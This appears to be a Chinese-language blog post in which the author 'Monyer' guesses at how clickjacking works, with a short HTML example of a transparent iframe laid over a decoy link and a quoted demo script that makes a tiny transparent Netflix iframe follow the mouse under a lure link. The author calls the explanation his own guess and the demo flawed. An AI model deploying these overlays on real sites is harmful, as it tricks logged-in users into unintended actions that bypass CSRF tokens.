最初看到有Clickjacking这个东西还是在大风那里,被人说的玄天玄地的,也不知道到底是个怎么样的东西。今天又看到一个demo,也不知道是真是假。但如果是真的,那么Clickjacking应该是这样一个东西:
在一个页面通过iframe载入目标页面——这个目标页面所在的网站应该处于登陆状态。然后通过透明度来隐藏该iframe,并使z轴处于顶上,最后在希望用户点击该iframe的位置的地方(z轴比iframe小),放一个按钮或连接。用户认为自己是在点击按钮或连接,实际上是点击了iframe中的相关操作。用代码的表现如下:
<a href="http://www.google.com/" style="position:absolute; left:265px; top:145px ;z-index:1">monyer</a>
<iframe src="http://www.baidu.com/" scrolling="no" frameborder="0" width="100%" height="300px" style="position:absolute;left:0px;top:0px;z-index:2;opacity:.1;filter: alpha(opacity=10); -moz-opacity: 0.1;"></iframe>
这个也就是所谓的不需要任何脚本的,所以禁用脚本没用,但当然如果你不禁用脚本,攻击起来可能更方便些:
用一浮动层载iframe,然后这个iframe的尺寸绝对小并通过滚动条的控制来保留必要连接,然后做层跟踪鼠标的移动,使得必要连接始终处于鼠标正下方,这样用户的任何点击都会导致攻击的产生。
demo的代码如下:
<a style="position:absolute; left:850; top:620" href="http://cnn.com">click here for lindsay lohan nudes</a>
<SCRIPT type="text/javascript">
if (document.getElementById || document.all)
document.write('<div id="trailimageid" style="position:absolute;left:0px;top:0px;width:100px;height:100px"><IFRAME id="ifra" SRC="http://www.netflix.com/MemberHome" scrolling=no frameborder=0 width="100" height="100" style="opacity:.1;filter: alpha(opacity=1); -moz-opacity: 0.1;"></iframe></div>')
function gettrailobj(){
if (document.getElementById)
return document.getElementById("trailimageid").style
else if (document.all)
return document.all.trailimagid.style
}
function truebody(){
return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}
function followmouse(e){
var xcoord= 0
var ycoord= 0
if (typeof e != "undefined"){
xcoord+=e.pageX - 50
ycoord+=e.pageY - 50
} else if (typeof window.event !="undefined"){
xcoord+=truebody().scrollLeft+event.clientX
ycoord+=truebody().scrollTop+event.clientY
}
var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15
var docheight=document.all? Math.max(truebody().scrollHeight, truebody().clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight)
if (xcoord+50+3>docwidth || ycoord+50> docheight)
gettrailobj().display="none"
else
gettrailobj().display=""
gettrailobj().left=xcoord+"px"
gettrailobj().top=ycoord+"px"
}
document.onmousemove=followmouse
</SCRIPT>
不过这个demo写得显然不够完美,有很多的错误。
但不知道Clickjacking事实是否如此,以上仅仅是Monyer个人的一点猜想。但即便不是如此,那么这种攻击方式也是很可行了,而且对于防御xsrf而使用的token可以完美地绕过,因为就是正常的点击嘛。但跟xsrf不同的是,目标网站几乎是无法进行防御阻止的。(maybe no iframe)
Monyer !